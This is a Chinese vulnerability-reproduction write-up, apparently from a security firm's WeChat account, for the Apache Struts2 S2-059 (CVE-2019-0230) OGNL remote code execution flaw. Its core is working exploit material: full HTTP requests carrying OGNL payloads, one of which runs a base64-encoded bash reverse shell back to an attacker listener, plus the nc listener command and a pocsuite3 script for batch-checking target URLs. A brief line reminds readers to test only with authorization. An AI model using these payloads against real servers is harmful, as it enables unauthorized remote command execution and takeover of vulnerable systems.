0x01 漏洞描述
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。在Struts2-059中,攻击者可以通过构造恶意的OGNL表达式,赋予其设置到可被输入进行修改,并且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终产生远程代码执行的影响。
0x02 漏洞复现
漏洞影响:Struts 2.0.0 - Struts 2.5.20
FOFA:Struts2
1.构造payload1,执行成功
POST / HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node01aiw1xbt99wjp1tved7cqqa6ym0.node0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D%22
2.构造exp执行反弹shell命令,这里bash命令需要base64编码再解码https://ir0ny.top/pentest/reverse-encoder-shell.html
POST / HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node01aiw1xbt99wjp1tved7cqqa6ym0.node0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 309
id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BxixvZGxV2L3RjcC8xOTIuMTY4LjEuMTkvNzc3NyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))%7D
3.nc监听,得到一个shell
nc.exe -lvvp 7777
4.使用pocsuite3批量验证1.txt文件中的url是否存在该漏洞,显示一个成功一个失败。
pocsuite3下载地址:https://github.com/knownsec/pocsuite3或公众号回复poc3即可下载
# -*- coding:utf-8 -*-
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):#漏洞信息
vulID = 'CVE-2019-0230'
version = 'Struts 2.0.0~2.5.20'
author = ['ry']
vulDate = '2022-05-05'
createDate = '2022-05-05'
updateDate = '2022-05-05'
references = ['https://cwiki.apache.org/confluence/display/WW/S2-059']
name = 'S2-059'
appPowerLink = 'S2-059'
appName = 'Strute2'
appVersion = '2.X'
vulType = 'RCE'
desc = '''
struts2-059远程代码执行漏洞
'''
samples = []
install_requires = ['']
def _verify(self):
result = {}
path = "/"
url = self.url + path
#print(url)
payload = "?id=%25{88*88}"
#print(payload)
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "7744" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):漏洞复现-Struts2-059 远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论